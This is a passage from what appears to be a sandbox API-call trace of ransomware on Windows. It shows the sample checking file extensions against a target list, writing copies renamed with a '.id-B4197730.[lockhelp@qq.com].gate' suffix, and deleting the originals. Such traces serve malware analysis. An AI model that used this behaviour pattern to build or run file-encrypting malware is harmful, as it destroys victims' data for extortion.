shared\\Stationery\\Garden.htm") returned 68 [0318.937] lstrlenW (lpString=".jpg") returned 4 [0318.937] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0318.937] lstrcmpiW (lpString1=".jpg", lpString2=".gate") returned 1 [0318.937] lstrlenW (lpString="Garden.jpg") returned 10 [0318.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0318.937] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=23871) returned 1 [0318.937] CloseHandle (hObject=0x350) returned 1 [0318.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0318.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.938] lstrlenW (lpString=".doc") returned 4 [0318.938] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0318.938] lstrlenW (lpString=".docx") returned 5 [0318.938] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0318.938] lstrlenW (lpString=".pdf") returned 4 [0318.938] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0318.938] lstrlenW (lpString=".xls") returned 4 [0318.938] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0318.938] lstrlenW (lpString=".xlsx") returned 5 [0318.938] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0318.938] lstrlenW (lpString=".ppt") returned 4 [0318.938] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0318.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.938] lstrlenW (lpString=".zip") returned 4 [0318.938] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0318.938] lstrlenW (lpString=".rar") returned 4 [0318.938] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0318.938] lstrlenW (lpString=".bz2") returned 4 [0318.938] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0318.938] lstrlenW (lpString=".7z") returned 3 [0318.938] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0318.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.938] lstrlenW (lpString=".dbf") returned 4 [0318.938] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0318.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.939] lstrlenW (lpString=".1cd") returned 4 [0318.939] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0318.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.939] lstrlenW (lpString=".jpg") returned 4 [0318.939] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0318.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.939] lstrlenW (lpString=".doc") returned 4 [0318.939] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0318.939] lstrlenW (lpString=".docx") returned 5 [0318.939] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0318.939] lstrlenW (lpString=".pdf") returned 4 [0318.939] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0318.939] lstrlenW (lpString=".xls") returned 4 [0318.939] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0318.939] lstrlenW (lpString=".xlsx") returned 5 [0318.939] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0318.939] lstrlenW (lpString=".ppt") returned 4 [0318.939] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0318.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.939] lstrlenW (lpString=".zip") returned 4 [0318.939] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0318.939] lstrlenW (lpString=".rar") returned 4 [0318.939] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0318.939] lstrlenW (lpString=".bz2") returned 4 [0318.939] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0318.939] lstrlenW (lpString=".7z") returned 3 [0318.939] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0318.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.939] lstrlenW (lpString=".dbf") returned 4 [0318.939] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0318.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.939] lstrlenW (lpString=".1cd") returned 4 [0318.939] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0318.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0318.940] lstrlenW (lpString=".jpg") returned 4 [0318.940] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0318.940] lstrcmpiW (lpString1=".htm", lpString2=".gate") returned 1 [0318.940] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0318.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0318.940] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=237) returned 1 [0318.940] CloseHandle (hObject=0x350) returned 1 [0318.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0318.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0318.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0318.940] lstrlenW (lpString=".doc") returned 4 [0318.940] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0318.940] lstrlenW (lpString=".docx") returned 5 [0318.941] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0318.941] lstrlenW (lpString=".pdf") returned 4 [0318.941] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0318.941] lstrlenW (lpString=".xls") returned 4 [0318.941] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0318.941] lstrlenW (lpString=".xlsx") returned 5 [0318.941] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0318.941] lstrlenW (lpString=".ppt") returned 4 [0318.941] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0318.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0318.941] lstrlenW (lpString=".zip") returned 4 [0318.941] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0318.941] lstrlenW (lpString=".rar") returned 4 [0318.941] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0318.941] lstrlenW (lpString=".bz2") returned 4 [0318.941] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0318.941] lstrlenW (lpString=".7z") returned 3 [0318.941] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0318.966] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.966] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0318.966] GetLastError () returned 0x0 [0318.966] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0318.970] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0318.971] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.971] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x13e, lpOverlapped=0x0) returned 1 [0318.971] SetEndOfFile (hFile=0x370) returned 1 [0318.971] CloseHandle (hObject=0x370) returned 1 [0318.971] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.971] SetEndOfFile (hFile=0x36c) returned 1 [0318.972] CloseHandle (hObject=0x36c) returned 1 [0318.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0318.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.973] lstrlenW (lpString=".doc") returned 4 [0318.973] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0318.973] lstrlenW (lpString=".docx") returned 5 [0318.973] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0318.973] lstrlenW (lpString=".pdf") returned 4 [0318.973] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0318.973] lstrlenW (lpString=".xls") returned 4 [0318.973] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0318.973] lstrlenW (lpString=".xlsx") returned 5 [0318.973] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0318.973] lstrlenW (lpString=".ppt") returned 4 [0318.973] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0318.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.973] lstrlenW (lpString=".zip") returned 4 [0318.973] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0318.973] lstrlenW (lpString=".rar") returned 4 [0318.973] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0318.973] lstrlenW (lpString=".bz2") returned 4 [0318.973] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0318.973] lstrlenW (lpString=".7z") returned 3 [0318.974] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0318.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.974] lstrlenW (lpString=".dbf") returned 4 [0318.974] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0318.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.974] lstrlenW (lpString=".1cd") returned 4 [0318.974] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0318.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.974] lstrlenW (lpString=".jpg") returned 4 [0318.974] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0318.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.974] lstrlenW (lpString=".doc") returned 4 [0318.974] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0318.974] lstrlenW (lpString=".docx") returned 5 [0318.974] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0318.974] lstrlenW (lpString=".pdf") returned 4 [0318.974] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0318.974] lstrlenW (lpString=".xls") returned 4 [0318.974] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0318.974] lstrlenW (lpString=".xlsx") returned 5 [0318.974] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0318.974] lstrlenW (lpString=".ppt") returned 4 [0318.974] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0318.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.974] lstrlenW (lpString=".zip") returned 4 [0318.974] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0318.974] lstrlenW (lpString=".rar") returned 4 [0318.974] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0318.974] lstrlenW (lpString=".bz2") returned 4 [0318.974] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0318.974] lstrlenW (lpString=".7z") returned 3 [0318.974] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0318.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.975] lstrlenW (lpString=".dbf") returned 4 [0318.975] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0318.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.975] lstrlenW (lpString=".1cd") returned 4 [0318.975] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0318.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0318.975] lstrlenW (lpString=".jpg") returned 4 [0318.975] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0318.975] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0318.975] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53 [0318.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0318.975] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=527958) returned 1 [0318.975] CloseHandle (hObject=0x36c) returned 1 [0318.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0318.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0318.976] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.976] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0318.976] GetLastError () returned 0x0 [0318.976] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x80e56, lpOverlapped=0x0) returned 1 [0319.629] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x80e60, lpOverlapped=0x0) returned 1 [0319.641] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.641] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x13e, lpOverlapped=0x0) returned 1 [0319.641] SetEndOfFile (hFile=0x370) returned 1 [0319.642] CloseHandle (hObject=0x370) returned 1 [0319.642] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.642] SetEndOfFile (hFile=0x36c) returned 1 [0319.646] CloseHandle (hObject=0x36c) returned 1 [0319.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0319.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.646] lstrlenW (lpString=".doc") returned 4 [0319.647] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0319.647] lstrlenW (lpString=".docx") returned 5 [0319.647] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0319.647] lstrlenW (lpString=".pdf") returned 4 [0319.647] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0319.647] lstrlenW (lpString=".xls") returned 4 [0319.647] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0319.647] lstrlenW (lpString=".xlsx") returned 5 [0319.647] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0319.647] lstrlenW (lpString=".ppt") returned 4 [0319.647] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0319.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.647] lstrlenW (lpString=".zip") returned 4 [0319.647] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0319.647] lstrlenW (lpString=".rar") returned 4 [0319.647] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0319.647] lstrlenW (lpString=".bz2") returned 4 [0319.647] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0319.647] lstrlenW (lpString=".7z") returned 3 [0319.647] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0319.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.647] lstrlenW (lpString=".dbf") returned 4 [0319.647] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0319.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.647] lstrlenW (lpString=".1cd") returned 4 [0319.647] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0319.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.647] lstrlenW (lpString=".jpg") returned 4 [0319.647] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0319.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.647] lstrlenW (lpString=".doc") returned 4 [0319.647] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0319.648] lstrlenW (lpString=".docx") returned 5 [0319.648] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0319.648] lstrlenW (lpString=".pdf") returned 4 [0319.648] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0319.648] lstrlenW (lpString=".xls") returned 4 [0319.648] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0319.648] lstrlenW (lpString=".xlsx") returned 5 [0319.648] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0319.648] lstrlenW (lpString=".ppt") returned 4 [0319.648] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0319.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.648] lstrlenW (lpString=".zip") returned 4 [0319.648] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0319.648] lstrlenW (lpString=".rar") returned 4 [0319.648] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0319.648] lstrlenW (lpString=".bz2") returned 4 [0319.648] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0319.648] lstrlenW (lpString=".7z") returned 3 [0319.648] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0319.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.648] lstrlenW (lpString=".dbf") returned 4 [0319.648] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0319.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.648] lstrlenW (lpString=".1cd") returned 4 [0319.648] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0319.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0319.648] lstrlenW (lpString=".jpg") returned 4 [0319.648] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0319.648] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.648] lstrlenW (lpString="AG00092_.GIF") returned 12 [0319.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.649] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=502) returned 1 [0319.649] CloseHandle (hObject=0x36c) returned 1 [0319.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0319.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 